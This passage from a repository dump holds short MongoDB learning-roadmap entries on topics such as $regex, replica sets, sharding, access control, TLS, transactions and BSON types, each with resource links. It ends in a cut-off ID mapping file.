    "content": "# $regex\n\nThe `$regex` operator in MongoDB provides regular expression pattern matching for string fields. It supports Perl-compatible regular expressions (PCRE) with options for case sensitivity, multiline matching, and extended syntax. `$regex` enables sophisticated text searching, pattern validation, and complex string filtering, though it may impact performance on large datasets without proper indexing.\n\nVisit the following resources to learn more:\n\n- [@official@\\$regex](https://www.mongodb.com/docs/manual/reference/operator/query/regex/)\n- [@article@Mastering Regex in MongoDB: A Beginner's Guide](https://medium.com/@jaydeepdnai.imscit20/mastering-regex-in-mongodb-a-beginners-guide-886bcb404725)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/regular-expression@z6I9XgIGQYWUd5l9DIZRX.md",
    "content": "# Regular Expression\n\nRegular expressions in MongoDB are patterns used to match strings within documents in a collection. They are implemented using the Perl Compatible Regular Expressions (PCRE) syntax, allowing for complex string matching capabilities. In MongoDB queries, regular expressions can be utilized with the `$regex` operator to filter documents based on specific string patterns. For example, a query like `{ \"field\": { \"$regex\": \"^abc\" } }` would match documents where the \"field\" starts with \"abc\". Additionally, options such as case insensitivity can be specified using the `$options` operator, enhancing the flexibility of string searches. Regular expressions are particularly useful for tasks like validation, searching, and data extraction within text fields.\n\nVisit the following resources to learn more:\n\n- [@official@\\$regex](https://www.mongodb.com/docs/manual/reference/operator/query/regex/)\n- [@article@Mastering Regex in MongoDB: A Beginner's Guide](https://medium.com/@jaydeepdnai.imscit20/mastering-regex-in-mongodb-a-beginners-guide-886bcb404725)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/replicasets@QrHT-H12AV4-V-y_nzmNk.md",
    "content": "# Replica Sets\n\nReplica Sets in MongoDB provide high availability and data redundancy through a group of mongod instances that maintain identical data copies. The primary node handles write operations while secondary nodes replicate data and can serve read operations. Automatic failover ensures continuous service if the primary becomes unavailable, with secondary nodes electing a new primary to maintain database availability.\n\nVisit the following resources to learn more:\n\n- [@official@Replication](https://www.mongodb.com/docs/manual/replication/)\n- [@official@Replication in MongoDB](https://learn.mongodb.com/learn/course/replication-in-mongodb/lesson-5-read-and-write-concerns-with-mongodb-deployments/learn?client=customer&page=2)\n- [@article@Replica Sets and Shards in MongoDB: Architecture and Benefits](https://dev-aditya.medium.com/replica-sets-and-shards-in-mongodb-architecture-and-benefits-a3c83f39e4f0)\n- [@course@Cluster Reliability Skill Badge](https://learn.mongodb.com/courses/cluster-reliability)\n- [@course@Data Resilience: Self-Managed Skill Badge](https://learn.mongodb.com/courses/data-resilience-self-managed)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/retryable-reads--writes@s8El0Q22GD_rOZGlDtkgH.md",
    "content": "# Retryable Reads / Writes\n\nRetryable reads and writes in MongoDB are client-side features that automatically retry certain database operations when they encounter transient network errors or temporary server unavailability, improving application resilience and user experience. The MongoDB drivers can automatically retry read operations and specific write operations (like inserts, updates, deletes, and findAndModify) exactly once when they fail due to network issues, replica set elections, or other recoverable errors, without requiring changes to application code. This feature is particularly valuable in distributed environments, cloud deployments, and replica set configurations where temporary connectivity issues or failover events are common, as it reduces the likelihood of application errors and provides a better user experience by handling transient failures transparently.\n\nVisit the following resources to learn more:\n\n- [@official@Retryable Reads](https://www.mongodb.com/docs/manual/core/retryable-writes/)\n- [@official@Retryable Writes](https://www.mongodb.com/docs/manual/core/retryable-reads/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/role-based-access-control@yRJ6jeysFXBpwLEqvrdKk.md",
    "content": "# Role-based Access Control\n\nRole-Based Access Control (RBAC) in MongoDB is a security framework that manages user permissions by assigning roles that define specific privileges and access levels to database resources. It allows administrators to create custom roles with granular permissions for actions like read, write, or administrative operations on specific databases, collections, or even individual fields, ensuring users only have access to the resources they need for their job functions. This approach simplifies security management by grouping permissions into logical roles rather than managing individual user permissions, making it easier to maintain consistent security policies and comply with the principle of least privilege in enterprise environments.\n\nVisit the following resources to learn more:\n\n- [@official@Role-Based Access Control](http://www.mongodb.com/docs/manual/core/authorization/)\n- [@article@Understanding MongoDB Role-based Access Control](https://medium.com/mongodb/understanding-mongodb-role-based-access-control-rbac-in-action-a-step-by-step-guide-8c679241f8b6)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/scaling-mongodb@cOKQQ7SaiawWF49MdCGTh.md",
    "content": "# Scaling MongoDB\n\nScaling MongoDB involves vertical scaling (upgrading hardware) and horizontal scaling through sharding and replica sets. Horizontal scaling distributes data across multiple servers using shard keys, while replica sets provide high availability and read scaling. Effective scaling strategies include proper shard key selection, monitoring performance metrics, and balancing data distribution for optimal throughput and reliability.\n\nVisit the following resources to learn more:\n\n- [@official@Scaling](https://www.mongodb.com/resources/basics/scaling)\n- [@official@Scalability With MongoDB Atlas](https://www.mongodb.com/resources/products/capabilities/scalability-with-mongodb-atlas)\n- [@article@Scaling MongoDB for Larger Datasets](https://medium.com/mongodb-tutorial/scaling-mongodb-for-larger-datasets-strategies-and-technical-considerations-b9d35243ff49)\n- [@course@Data Resilience: Atlas Skill Badge](https://learn.mongodb.com/courses/data-resilience-atlas)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/sharded-clusters@CijW3HCjVRZHQIBsQ9_0H.md",
    "content": "# Sharded Clusters\n\nSharded Clusters enable horizontal scaling by distributing data across multiple servers based on a shard key. MongoDB automatically partitions collections and balances data distribution across shards, allowing databases to handle massive datasets and high throughput workloads. Sharding includes config servers for metadata management and mongos routers for query distribution across the cluster.\n\nVisit the following resources to learn more:\n\n- [@official@Deploy a Self-Managed Sharded Cluster](https://www.mongodb.com/docs/manual/tutorial/deploy-shard-cluster/)\n- [@official@Sharding](https://www.mongodb.com/docs/manual/sharding/)\n- [@article@MongoDB Sharding: A Step by Step Guide to Setup A MongoDB Shard Cluster](https://medium.com/@sanklecha.harsh/mongodb-sharding-a-step-by-step-guide-to-setup-a-mongodb-shard-cluster-98668f53a078)\n- [@course@Sharding Strategies Skill Badge](https://learn.mongodb.com/courses/sharding-strategies)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/single-field@SjPzR6JjdBeiqFsrRJPfW.md",
    "content": "# Single Field Indexes\n\nSingle field indexes in MongoDB are created on individual document fields to optimize queries filtering, sorting, or ranging on that specific field. They can be ascending (1) or descending (-1) and automatically optimize equality, range, and sort operations. Single field indexes are the simplest index type and form the foundation for more complex indexing strategies.\n\nVisit the following resources to learn more:\n\n- [@official@Single Field Indexes](https://www.mongodb.com/docs/manual/core/indexes/index-types/index-single/)\n- [@article@How to Create Single-Field Indexes in MongoDB for Faster Queries](https://javascript.plainenglish.io/how-to-create-single-field-indexes-in-mongodb-for-faster-queries-a9b816924b5a)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/size@-VMIkV6S6H1blngxLXk7Y.md",
    "content": "# $size\n\nThe `$size` operator in MongoDB matches documents where an array field has exactly the specified number of elements. It only works with arrays and requires an exact count match, not range queries. `$size` is useful for validating array lengths, filtering documents by array dimensions, and ensuring data consistency in array-based document structures.\n\nVisit the following resources to learn more:\n\n- [@official@\\$size](https://www.mongodb.com/docs/manual/reference/operator/query/size/)\n- [@article@5 Ways to Check the Size of a Collection in MongoDB](https://database.guide/5-ways-to-check-the-size-of-a-collection-in-mongodb/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/skip@4CjjGPOy-385Bco_PeQwa.md",
    "content": "# $skip\n\nThe `$skip` aggregation stage skips a specified number of documents before passing the remaining documents to the next pipeline stage. It's commonly used with $limit for pagination implementation, allowing applications to skip previous pages and retrieve specific result sets. `$skip `should be used carefully with large skip values as it can impact performance.\n\nVisit the following resources to learn more:\n\n- [@official@\\$skip](https://www.mongodb.com/docs/manual/reference/operator/aggregation/skip/)\n- [@article@MongoDB Skip Documents - Syntax & Examples ](https://www.tutorialkart.com/mongodb/mongodb-skip-documents/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/slice@9mmxYBtvPYZlvFjQvE-2N.md",
    "content": "# $slice\n\nThe `$slice` projection operator in MongoDB returns a subset of array elements from documents. It supports positive values for elements from the beginning, negative values from the end, and skip/limit combinations for pagination within arrays. `$slice` is essential for managing large arrays in documents, implementing array pagination, and reducing network traffic by returning only required array portions.\n\nVisit the following resources to learn more:\n\n- [@official@\\$slice](https://www.mongodb.com/docs/manual/reference/operator/aggregation/slice/)\n- [@article@MongoDB slice - Syntax & Examples](https://database.guide/mongodb-slice/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/sort@BCWS8uV2pSWe7CX-VlnTg.md",
    "content": "# $sort\n\nThe `$sort` aggregation stage orders documents by specified field values in ascending (1) or descending (-1) order. It can sort by multiple fields with different directions and supports sorting by computed values from previous pipeline stages. Placing `$sort` early in the pipeline can leverage indexes for better performance, while late sorting applies to aggregated results.\n\nVisit the following resources to learn more:\n\n- [@official@\\$sort](https://www.mongodb.com/docs/manual/reference/operator/aggregation/sort/)\n- [@article@Sort Records: How to Sort by Date, Name, and More](https://www.prisma.io/dataguide/mongodb/mongodb-sorting)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/spark@K09-nD6xF5YJUQBBpFXMz.md",
    "content": "# Spark\n\nSpark refers to the integration of Apache Spark, a powerful data processing engine, with MongoDB, a NoSQL database. This integration allows users to perform real-time analytics and data processing on MongoDB data using Spark's capabilities, enabling efficient data manipulation and analysis without the need for extensive ETL processes.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Spark™ - Unified Engine for large-scale data analytics](https://spark.apache.org/?ref=producthunt)\n- [@official@MongoDB Connector for Spark](https://www.mongodb.com/docs/spark-connector/current/)\n- [@article@MongoDB Configuration with Spark](https://medium.com/@ahmiihassan354/mongodb-configuration-with-spark-38e3d464d6ffhttps://www.prisma.io/dataguide/mongodb/mongodb-sorting)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/sql-vs-nosql@cMfsRtvzvDZZJ0TqeUOxm.md",
    "content": "# NoSQL vs SQL\n\nNoSQL and SQL are two distinct paradigms for managing and storing data in databases. SQL (Structured Query Language) databases are relational and use a structured schema to define data types and relationships, making them ideal for complex queries and transactions. They ensure data integrity and support ACID (Atomicity, Consistency, Isolation, Durability) properties, which are crucial for applications requiring reliable transactions. In contrast, NoSQL databases are non-relational and offer a flexible schema, allowing for the storage of unstructured or semi-structured data.\n\nVisit the following resources to learn more:\n\n- [@official@SQL vs NoSQL: What's the Difference?](https://www.mongodb.com/resources/basics/databases/nosql-explained/nosql-vs-sql)\n- [@official@What is NoSQL? - MongoDB](https://www.mongodb.com/resources/basics/databases/nosql-explained)\n- [@article@What is SQL? - Microsoft](https://learn.microsoft.com/en-us/sql/sql-server/?view=sql-server-ver15)\n- [@article@SQL vs NoSQL: When to Use What and Why](https://medium.com/data-science-collective/sql-vs-nosql-when-to-use-what-and-why-from-someone-whos-used-both-at-scale-2547382758f5)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/string@eU4XCnrf27FO3KCda8QYw.md",
    "content": "# String\n\nString data type in MongoDB stores UTF-8 encoded text data with no length restrictions within document size limits. Strings support text indexing for search capabilities, regex pattern matching, and various string manipulation operations in aggregation pipelines. MongoDB strings are case-sensitive by default but support collation options for case-insensitive comparisons and locale-specific sorting requirements.\n\nVisit the following resources to learn more:\n\n- [@article@String Data Type](https://www.sqliz.com/mongodb-ref/string/5)\n- [@article@How to Handle Special Characters in MongoDB Connection String](https://medium.com/@monisykhan/how-to-handle-special-characters-in-mongodb-connection-strings-655967139452)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/sum@CfM0iyd2bNRIiDWTUkspd.md",
    "content": "# $sum\n\nThe `$sum` aggregation operator calculates the total sum of numeric values across grouped documents or array elements. It's commonly used with $group to aggregate numeric data, create totals, and perform mathematical operations in aggregation pipelines. `$sum` ignores non-numeric values and can sum field values, literal numbers, or results from expressions, making it essential for financial and statistical calculations.\n\nVisit the following resources to learn more:\n\n- [@official@\\$sum](https://www.mongodb.com/docs/manual/reference/operator/aggregation/sum/)\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/symbol@XAS4jQlsHkttLDuSSsD2o.md",
    "content": "# Symbol\n\nThe symbol is often used in the context of BSON (Binary JSON) data types, which allows for the representation of various data structures. While MongoDB does not have a specific \"symbol\" data type like some programming languages, it utilizes BSON to store data efficiently, enabling developers to work with complex data types and structures seamlessly.\n\nVisit the following resources to learn more:\n\n- [@official@Field Names with Periods and Dollar Signs](https://www.mongodb.com/docs/manual/core/dot-dollar-considerations/)\n- [@official@Symbols - MongoDB Meta Documents](https://www.mongodb.com/docs/meta/style-guide/style/symbols/)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/text@PV_3TEYdtVZ2VCDZEOsu_.md",
    "content": "# $text\n\nThe `$text` operator in MongoDB performs full-text search on fields with text indexes. It supports phrase matching, stemming, stop words, and relevance scoring. `$text` searches across all text-indexed fields simultaneously and provides score-based ranking of results. This operator requires a text index on the collection and enables efficient search functionality for text-heavy applications.\n\nVisit the following resources to learn more:\n\n- [@official@\\$text](https://www.mongodb.com/docs/manual/reference/operator/query/text/)\n- [@article@Full-Text Search in MongoDB](https://devforid.medium.com/full-text-search-in-mongodb-655169b59fce)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/timestamp@zbFH2NRHZEOv5eKLL_HR0.md",
    "content": "# Timestamp\n\nThe Timestamp type in MongoDB is a special BSON data type used internally for operations like replication and sharding. It consists of a 32-bit second counter and an incrementing ordinal counter (also 32 bits), representing UTC time accurate to the second. Unlike the Date type, Timestamp values in MongoDB are unique and monotonically increasing, making them ideal for tracking changes and ordering events.\n\nVisit the following resources to learn more:\n\n- [@official@Timestamp](https://www.mongodb.com/docs/manual/reference/bson-types/#timestamps)\n- [@article@Working with Dates](https://www.prisma.io/dataguide/mongodb/working-with-dates)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/tls--ssl-encryption@5F7zAAnvnVTTnBzOB7TSu.md",
    "content": "# TLS / SSL Encryption\n\nTLS/SSL encryption in MongoDB provides secure communication channels between clients and the database server, as well as between replica set members and sharded cluster components, ensuring that data transmitted over networks is protected from eavesdropping and tampering. This transport layer security encrypts all network traffic using industry-standard cryptographic protocols, supports certificate-based authentication for enhanced security, and can be configured for mutual authentication where both client and server verify each other's identities. Implementing TLS/SSL is essential for production deployments, especially in cloud environments or when MongoDB instances communicate across untrusted networks, as it prevents man-in-the-middle attacks and ensures data confidentiality during transmission.\n\nVisit the following resources to learn more:\n\n- [@official@TLS / SSL Encryption](https://www.mongodb.com/docs/manual/core/security-transport-encryption/)\n- [@official@Configure mongod and mongos for TLS/SSL](https://www.mongodb.com/docs/manual/tutorial/configure-ssl/)\n- [@article@How to Enable TLS/SSL on MongoDB](https://medium.com/mongoaudit/how-to-enable-tls-ssl-on-mongodb-d973a92cefa6)\n- [@course@Networking Security: Self-Managed Skill Badge](https://learn.mongodb.com/courses/networking-security-self-managed)\n- [@course@Networking Security: Atlas Skill Badge](https://learn.mongodb.com/courses/networking-security-atlas)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/transactions@aHcmsaqAfG5fC90VV-EHP.md",
    "content": "# Transactions\n\nTransactions in MongoDB provide ACID guarantees for multi-document operations, ensuring data consistency across multiple operations. They support read and write operations spanning multiple documents, collections, and databases within a single atomic unit. Transactions use snapshot isolation and optimistic concurrency control, making them essential for applications requiring strict data integrity and consistency.\n\nVisit the following resources to learn more:\n\n- [@official@Transactions](https://www.mongodb.com/docs/manual/core/transactions/)\n- [@article@Transactions in MongoDB Basics and Example](https://medium.com/@vikramgyawali57/transactions-in-mongodb-basics-and-example-4c2d8aab55eb)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/tuning-configuration@iVDxuERBjKMBHueEfqP0x.md",
    "content": "# Tuning Configuration\n\nMongoDB tuning configuration involves optimizing various server parameters and settings to maximize performance, efficiency, and resource utilization based on your specific workload patterns and hardware environment. Key configuration areas include memory management (WiredTiger cache size, storage engine settings), connection pooling (maximum connections, timeout values), journaling options, read/write concerns, chunk size for sharded clusters, and operating system-level optimizations like file descriptor limits and memory allocation. Proper tuning requires analyzing metrics like query performance, memory usage, disk I/O patterns, and network throughput to adjust parameters such as index builds, background operations, and replication lag, ensuring your MongoDB deployment can handle peak loads while maintaining optimal response times and resource efficiency.\n\nVisit the following resources to learn more:\n\n- [@official@Comprehensive Guide to Optimising MongoDB Performance](https://www.mongodb.com/developer/products/mongodb/guide-to-optimizing-mongodb-performance/)\n- [@article@Optimizing Performance in MongoDB](https://medium.com/@halimebardakci/optimizing-performance-in-mongodb-tips-and-tricks-b1d635220eec)\n- [@article@How To Optimize MongoDB Performance & Security](https://medium.com/@noel.benji/how-to-optimize-mongodb-performance-security-6fd3ba1304c1)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/type@BxzMbF7cdvGPuy1EcRvWd.md",
    "content": "# $type\n\nThe `$type` operator in MongoDB selects documents based on the BSON data type of a specified field. It accepts either BSON type numbers or string aliases like \"string\", \"int\", \"array\", \"object\". `$type` is useful for data validation, schema analysis, and filtering documents by field data types, especially when working with collections containing varied or dynamic schemas.\n\nVisit the following resources to learn more:\n\n- [@official@$\\type](https://www.mongodb.com/docs/manual/reference/operator/query/type/)\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n- [@official@BSON Types](https://www.mongodb.com/docs/manual/reference/bson-types/)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/undefined@kx_GOr51UMpdUAnS5u9qZ.md",
    "content": "# Undefined\n\nThe Undefined type is a BSON data type that represents a value that is not defined. It is primarily used to indicate that a field does not have a value or that a variable has not been assigned a value. However, the Undefined type is rarely used in practice, as it has been deprecated in favor of using `null` to represent the absence of a value. The use of `null` is more common and recommended for indicating missing or non-existent data in documents.\n\nVisit the following resources to learn more:\n\n- [@official@BSON Types](https://www.mongodb.com/docs/manual/reference/bson-types/#std-label-bson-types)\n- [@official@Query for Null or Missing Fields](https://www.mongodb.com/docs/manual/tutorial/query-for-null-fields/)\n- [@article@Migrate Undefined Data and Queries](https://www.mongodb.com/docs/manual/reference/bson-types/migrate-undefined/)\n- [@article@Master Null Handling in MongoDB](https://www.mydbops.com/blog/null-handling-in-mongodb)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/unwind@AY-8KJGA9ZA6ay3rbURt3.md",
    "content": "# $unwind\n\nThe `$unwind` aggregation stage deconstructs array fields, creating separate documents for each array element. It's essential for processing documents with embedded arrays by flattening them into individual records. `$unwind` supports options for preserving null/empty arrays and including array indices, enabling detailed analysis of array-based data structures and normalization workflows.\n\nVisit the following resources to learn more:\n\n- [@official@\\$unwind](https://www.mongodb.com/docs/manual/reference/operator/aggregation/unwind/)\n- [@article@Advanced Techniques with MongoDB: Mastering Lookup](https://medium.com/@akshatgupta1903/advanced-techniques-with-mongodb-mastering-lookup-and-unwind-acfc8a8ad5b9)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/update-and-relevant@liGbnGyQaG-Vqt6cuB91N.md",
    "content": "# update() and Related Methods\n\nUpdate operations modify existing documents using `updateOne()`, `updateMany()`, and `replaceOne()` methods with update operators like `$set`, `$unset`, `$inc`, and `$push`. These methods support upsert operations, array modifications, field updates, and atomic operations. Advanced features include `findOneAndUpdate()` for atomic read-modify-write operations and update pipelines for complex transformations using aggregation operators.\n\nVisit the following resources to learn more:\n\n- [@official@Update Operations](https://www.mongodb.com/docs/manual/reference/operator/update/)\n- [@official@Collection Update Methods](https://www.mongodb.com/docs/manual/reference/method/db.collection.update/)\n- [@article@How to Update Data in Mongodb in 2025?](https://dev.to/cristianalex_17/how-to-update-data-in-mongodb-in-2025-3b0a)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/validate@4h8NdcdXmNqJxLkVJqPtX.md",
    "content": "# validate()\n\nThe `validate()` method in MongoDB is a database administration command that checks the integrity and consistency of a collection's data structures, indexes, and storage format, providing detailed information about potential corruption, missing records, or structural issues. This method performs comprehensive validation by examining the collection's namespace, scanning all documents and indexes for consistency, checking BSON document structure validity, and verifying that index entries correctly correspond to their associated documents. The `validate()` operation is crucial for database maintenance and troubleshooting, especially after hardware failures, unexpected shutdowns, or when experiencing unusual query behavior, as it helps identify data corruption early and provides detailed reports that can guide repair operations or data recovery procedures.\n\nVisit the following resources to learn more:\n\n- [@official@Validate](https://www.mongodb.com/docs/manual/reference/command/validate/)\n- [@article@Real-World Example: MongoDB Data Validation and Sanitization](https://codezup.com/mongodb-data-validation-sanitization-example/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/what-is-mongodb-atlas@1UXfFROvcunyhkx0zB_1S.md",
    "content": "# What is MongoDB Atlas?\n\nMongoDB Atlas is a fully-managed cloud database service offered by MongoDB that simplifies database management for developers by automating tasks such as provisioning, scaling, and backups. It supports multi-cloud deployments across major providers like AWS, Google Cloud, and Azure, allowing for flexibility and resilience. With integrated data services, real-time insights, and cost efficiency, MongoDB Atlas enables developers to build intelligent applications and manage data seamlessly, empowering them to focus on application development rather than database maintenance.\n\nVisit the following resources to learn more:\n\n- [@official@MongoDB Atlas | The Modern, Multi-Cloud Database](https://www.mongodb.com/atlas)\n- [@official@What is Atlas?](https://www.mongodb.com/docs/atlas/)\n- [@course@Atlas Essentials Course | MongoDB University](https://learn.mongodb.com/learning-paths/atlas-essentials)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/what-is-mongodb@tJljSlb5S_tZLZhZHHd_I.md",
    "content": "# What is MongoDB?\n\nMongoDB is a NoSQL, document-oriented database designed for scalability, flexibility, and high performance. It stores data in JSON-like BSON (Binary JSON) format, allowing for the representation of complex data structures and enabling developers to work with unstructured or semi-structured data easily. MongoDB provides a rich query language, supports horizontal scaling through sharding, and offers features like indexing, aggregation, and real-time analytics.\n\nVisit the following resources to learn more:\n\n- [@official@MongoDB - The Modern No SQL Database](https://www.mongodb.com/)\n- [@official@MongoDB Documentation](https://www.mongodb.com/docs)\n- [@official@What is Atlas?](https://www.mongodb.com/docs/atlas/)\n- [@course@MongoDB Overview Skill Badge](https://learn.mongodb.com/courses/mongodb-overview)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/when-to-use-mongodb@qh8MEbXKPVt8mqlarhUj0.md",
    "content": "# When to use MongoDB?\n\nMongoDB is ideal for applications that require flexible schema design, rapid development cycles, and need to handle large volumes of unstructured or semi-structured data. It's particularly well-suited for content management systems, real-time analytics, IoT applications, mobile app backends, and scenarios where you need to scale horizontally across multiple servers, making it an excellent choice when your data model is likely to evolve frequently or when you're dealing with complex nested data structures that don't fit well into traditional relational database tables.\n\nVisit the following resources to learn more:\n\n- [@official@MongoDB - The Modern No SQL Database](https://www.mongodb.com/)\n- [@official@MongoDB Documentation](https://www.mongodb.com/docs)\n- [@official@Why Use MongoDB and When to Use It?](https://www.mongodb.com/resources/products/fundamentals/why-use-mongodb)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/x509-certificate-auth@NV39oWwr7iB_dnlnD_Q6Y.md",
    "content": "# x.509 Certificate Authentication\n\nx.509 certificate authentication in MongoDB provides secure, certificate-based client and cluster authentication without passwords. It uses public key infrastructure (PKI) for strong identity verification and supports both client authentication and internal cluster member authentication. This method offers enhanced security through certificate validation, expiration management, and integration with existing PKI infrastructures.\n\nVisit the following resources to learn more:\n\n- [@official@Use X.509 Certificates to Authenticate Clients](https://www.mongodb.com/docs/manual/tutorial/configure-x509-client-authentication/)\n- [@article@Secure MongoDB with X.509 TLS/SSL certificates](https://medium.com/@studio3t/secure-mongodb-with-x-509-tls-ssl-certificates-42ff4290d9f3)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/mongodb/migration-mapping.json",
    "content": "{\n  \"mongodb-basics\": \"z50iixpcCMe9sTh-gwTI3\",\n  \"mongodb-basics:sql-vs-nosql\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n  \"mongodb-basics:what-is-mongodb\": \"tJljSlb5S_tZLZhZHHd_I\",\n  \"mongodb-basics:when-to-use-mongodb\": \"qh8MEbXKPVt8mqlarhUj0\",\n  \"mongodb-basics:what-is-mongodb-atlas\": \"1UXfFROvcunyhkx0zB_1S\",\n  \"mongodb-basics:mongodb-terminology\": \"1pCWjSvjvbox5OpyWJ8Kv\",\n  \"datatypes\": \"_UIfRdlj6BeEESw1FW9RH\",\n  \"datatypes:bson-vs-json\": \"F4W9XBSbkpzWIrAhRBSRS\",\n  \"datatypes:embedded-documents-arrays\": \"6MqhN-PTf1PRzYCTxC8pn\",\n  \"datatypes:double\": \"4Cf_wcoByPqpOOpdbAJuq\",\n  \"datatypes:string\": \"eU4XCnrf27FO3KCda8QYw\",\n  \"datatypes:array\": \"q6ZKxFcSAQ8bgUdGaDpuu\",\n  \"datatypes:object\": \"QcdZKNcCtKls6P4YNXR2W\",\n  \"datatypes:binary-data\": \"UM6jH6bAijYS0Hmw87UQ-\",\n  \"datatypes:undefined\": \"kx_GOr51UMpdUAnS5u9qZ\",\n  \"datatypes:object-id\": \"mxd3-l3-NtPw53dEvhqm4\",\n  \"datatypes:boolean\": \"hmo7zCZ1jKgobS5R0eBSD\",\n  \"datatypes:date\": \"T6cq--pute6-8aG7z6QKN\",\n  \"datatypes:null\": \"g6AKQiFcY_8lsWRbkbZSC\",\n  \"datatypes:regex\": \"z6I9XgIGQYWUd5l9DIZRX\",\n  \"datatypes:javascript\": \"UXO5i6nPa5CRW1z7FAn_S\",\n  \"datatypes:symbol\": \"XAS4jQlsHkttLDuSSsD2o\",\n  \"datatypes:int\": \"iJFDFdIN_N4-DlJwrFIiB\",\n  \"datatypes:long\": \"xKFZSKG2GPD-phY2HLMsx\",\n  \"datatypes:timestamp\": \"zbFH2NRHZEOv5eKLL_HR0\",\n  \"datatypes:decimal128\": \"OGtR5D_DUCSci1lFBT83z\",\n  \"datatypes:min-key\": \"jQSMLd6gG158tJDzo1k_1\",\n  \"datatypes:max-key\": \"QF7SL237FyBQdqvKUzop6\",\n  \"collections\": \"7SGYNo3oHlgm_1cwhWfw7\",\n  \"collections:counting-documents\": \"hC83jKoO_XFI83WpsdN_Z\",\n  \"collections:validate\": \"4h8NdcdXmNqJxLkVJqPtX\",\n  \"collections:insert-methods\": \"mXdn4u5CiQRDE83qMiWZX\",\n  \"collections:find-methods\": \"iMpCEXRDXg0Kq9OFNywbI\",\n  \"collections:update-methods\": \"liGbnGyQaG-Vqt6cuB91N\",\n  \"collections:delete-methods\": \"qjoLxSkfKbzG1sZUXnyw9\",\n  \"collections:bulk-write\": \"yc2HqhjhIV6UU_2P-ykKB\",\n  \"useful-concepts:read-write-concerns\": \"thOckmrCJ45NVNPNxm4eg\",\n  \"useful-concepts:cursors\": \"K9x7yQP59cB764Q5PqAs_\",\n  \"useful-concepts:retryable-reads-writes\": \"s8El0Q22GD_rOZGlDtkgH\",\n  \"query-operators\": \"B8SFhoVV8ei1Yz6vl57l_\",\n  \"query-operators:projection-operators:project\": \"gakF5Zfgk7QIgg_UwqG_Y\",\n  \"query-operators:projection-operators:include\": \"sxDyp3bP-YhgmDMVUFTaA\",\n  \"query-operators:projection-operators:exclude\": \"nk0V3o3oKuIb8A0gDECFJ\",\n  \"query-operators:projection-operators:slice\": \"9mmxYBtvPYZlvFjQvE-2N\",\n  \"query-operators:comparison-operators:eq\": \"2h8z2mrgRKSLKI-eBc3zM\",\n  \"query-operators:comparison-operators:gt\": \"wbZb0RwmANH4ssF07cAar\",\n  \"query-operators:comparison-operators:lt\": \"5-MLEEigFPRloN7wLa05T\",\n  \"query-operators:comparison-operators:lte\": \"eOfsrmOQI0dJW6HV_myVH\",\n  \"query-operators:comparison-operators:gte\": \"kV5Tmu9ocDnuPQvkx2W0u\",\n  \"query-operators:comparison-operators:ne\": \"Q8dr1JPEnLX0z4DiQwnAz\",\n  \"query-operators:array-operators:in\": \"Wd20OKQYYuW_bT6U-yRxT\",\n  \"query-operators:array-operators:nin\": \"ZKHUCskdKQf4IaMUTN_e7\",\n  \"query-operators:array-operators:all\": \"hPPoO8ysGeEGEQhdveiDO\",\n  \"query-operators:array-operators:elem-match\": \"TJHVY8DRWbDKeT_pIPJay\",\n  \"query-operators:array-operators:size\": \"-VMIkV6S6H1blngxLXk7Y\",\n  \"query-operators:element-operators:exists\": \"12kfpSapv2uNxpHzLkFSL\",\n  \"query-operators:element-operators:type\": \"BxzMbF7cdvGPuy1EcRvWd\",\n  \"query-operators:element-operators:regex\": \"PmfjHFz-DW69pNh_t13Nm\",\n  \"query-operators:logical-operators:and\": \"-62S4wRxHpIM2I59xjGun\",\n  \"query-operators:logical-operators:or\": \"43BfjlUju-yJaGv-FaJty\",\n  \"query-operators:logical-operators:not\": \"qaUj9916Fh4BtiLz_pwQs\",\n  \"query-operators:logical-operators:nor\": \"7xq_mdQOlUTuhfnogOl8h\",\n  \"performance-optimization\": \"A9W2LsivDc0ialLp83fYP\",\n  \"performance-optimization:indexes\": \"haA1ltV6VzgJVJcJNMK0W\",\n  \"performance-optimization:index-types:single-field\": \"SjPzR6JjdBeiqFsrRJPfW\",\n  \"performance-optimization:index-types:compound\": \"eSb4WAfWxJu6R95pPX6wm\",\n  \"performance-optimization:index-types:text\": \"PV_3TEYdtVZ2VCDZEOsu_\",\n  \"performance-optimization:index-types:geospatial\": \"bqXlDnPuMQIKulD9cTvPf\",\n  \"performance-optimization:index-types:expiring\": \"butGgZXGPTZI-sWx24bOr\",\n  \"performance-optimization:atlas-search-indexes\": \"YidhAuVk_VGukx_FfJSz2\",\n  \"performance-optimization:query-optimization\": \"kG0ZeGatgvC1azZKMQiA_\",\n  \"mongodb-aggregation\": 